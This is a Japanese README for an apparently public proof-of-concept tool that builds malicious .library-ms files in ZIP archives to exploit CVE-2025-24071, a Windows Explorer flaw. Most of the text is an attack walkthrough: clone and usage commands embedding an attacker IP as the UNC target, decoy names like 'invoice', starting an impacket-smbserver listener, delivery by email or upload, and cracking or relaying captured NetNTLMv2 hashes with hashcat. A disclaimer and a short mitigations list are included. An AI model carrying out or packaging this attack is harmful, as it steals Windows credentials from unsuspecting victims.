CVE-2025-24071 — Windows ファイルエクスプローラー スプーフィング / .library-ms を介した NTLM ハッシュ漏洩

⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテスト専用です。自身が所有するシステム、またはテストに対する明示的な書面による許可を得たシステムに対してのみ使用してください。不正な使用は違法です。

目次

• 概要
• 脆弱性の詳細
• 仕組み
• 要件
• インストール
• 使用方法
• 例
• 緩和策
• クレジット
• 参考文献

概要

Windows ファイルエクスプローラーは、特定のファイルタイプがフォルダビューに表示された時点で、ダブルクリックなどのユーザー操作なしに自動的に解析します。影響を受けるバージョンでは .library-ms ファイルの検証が適切に行われず、任意のリモート SMB パスを指す検索コネクタを定義できてしまいます。

エクスプローラーが悪意のある .library-ms ファイルを含むフォルダ（例えば ZIP/RAR アーカイブを展開した直後）を表示すると、「ライブラリ」の場所を解決するために、攻撃者が制御する UNC パスへサイレントに接続を試みます。この SMB 接続試行には被害者の NetNTLMv2 ハッシュが含まれており、指定されたホスト上でトラフィックを傍受している攻撃者（例えば impacket-smbserver や Responder を使用）は、それをオフラインでクラックしたりリレーしたりすることができます。

このリポジトリには、この脆弱性に対する公開 PoC ジェネレーターの、依存関係のない最小限の書き直し版が含まれています。Python 標準ライブラリのみを使用して、悪意のある .library-ms ファイルを生成し、ZIP にパッケージ化します。

脆弱性の詳細

仕組み

.library-ms ファイルは、Windows エクスプローラーに対してリモートまたはローカルの場所の内容を「ライブラリ」として表示するよう指示する XML ドキュメントです。その <simpleLocation><url> 要素は UNC パス（\\<host>\<share>）を指すことができます。

影響を受けるバージョンでは、エクスプローラーはフォルダが表示された時点でこの場所を解決します。ファイルがフォルダビューに表示されていれば（例えば、それを含むアーカイブを展開した直後など）、ダブルクリックや明示的な操作は必要ありません。

攻撃の要件

1. 攻撃者が、被害者から到達可能なホスト（または同一ネットワーク上）を制御し、SMB リスナー（impacket-smbserver、Responder など）を実行している。
2. \\<attacker_ip>\<share> を指す悪意のある .library-ms ファイルが生成される。
3. ファイルが被害者に配信される。通常は ZIP/RAR アーカイブ内にパッケージ化される（このリポジトリはそのパッケージ化手順を自動化する）。
4. 被害者がアーカイブを展開し、エクスプローラーでフォルダを表示する — それ以上の操作は不要。

エクスプロイトの流れ

1. 攻撃者マシンで SMB リスナーを起動する
2. \\<attacker_ip>\<share> を指す .library-ms ファイルを生成する
3. それを ZIP アーカイブにパッケージ化する
4. ZIP を被害者に配信する（アップロード機能、メール、共有など）
5. 被害者が ZIP を展開し、エクスプローラーがフォルダを表示する
6. エクスプローラーが UNC パスを解決 -> SMB 認証試行 -> NetNTLMv2 ハッシュを取得
7. ハッシュをオフラインでクラックする（hashcat -m 5600）かリレーする

要件

• Python 3.8+（標準ライブラリのみ — os、sys、argparse、zipfile）

ペイロードの生成にサードパーティの依存関係は必要ありません。ハッシュの取得には、攻撃者側で Impacket（impacket-smbserver）や Responder などの SMB リスナーが必要です。

インストール

git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071

使用方法

usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]

options:
  -n NAME, --name NAME             Output base filename (no extension)
  -i IP, --ip IP                   Attacker IP to embed as the UNC path target
  -s SHARE, --share SHARE          Share name (default: shared)
  -o OUTDIR, --outdir OUTDIR       Output directory (default: current dir)
  -a, --affected-versions          Print the list of affected Windows versions and exit

例

基本的な使用方法

python3 cve_2025_24071.py -n invoice -i 10.10.14.5

これにより invoice.zip が生成され、\\10.10.14.5\shared を指す invoice.library-ms が含まれます。

ファイルを配信する前にリスナーを起動する

impacket-smbserver shared /tmp/smbshare -smb2support

カスタム共有名と出力ディレクトリ

python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads

影響を受けるバージョンを一覧表示する

python3 cve_2025_24071.py -a

緩和策

• お使いの Windows バージョン向けの 2025年3月の累積セキュリティ更新プログラム（またはそれ以降）を適用する。
• ネットワーク境界でアウトバウンド SMB（TCP 445）を制限し、NTLM ハッシュが外部ホストへ漏洩するのを防ぐ。
• SMB 署名を強制し、可能な限り NTLM を無効化して Kerberos を優先する。
• エンドユーザーのワークステーションに到達する前に、アップロード/展開されたアーカイブをスキャンして .library-ms や同様の自動解析されるファイルタイプを検出する。

クレジット

• 脆弱性の発見と Microsoft への報告: Microsoft（MSRC 経由でクレジット。執筆時点で元の外部報告者は公開されていない）
• アドバイザリの発行: Microsoft Security Response Center (MSRC)
• 公開 PoC ジェネレーターのコンセプト参照元: ThemeHackers
• 標準ライブラリへの書き直し: Bardlaudian — ZIP/.library-ms ジェネレーターの依存関係のないバージョン。新しいエクスプロイト手法は含まない

参考文献

• MSRC — CVE-2025-24071 Security Update Guide
• NVD — CVE-2025-24071
• CVE.org Record — CVE-2025-24071
• GitHub Advisory Database — GHSA-mppc-8qxh-4wjw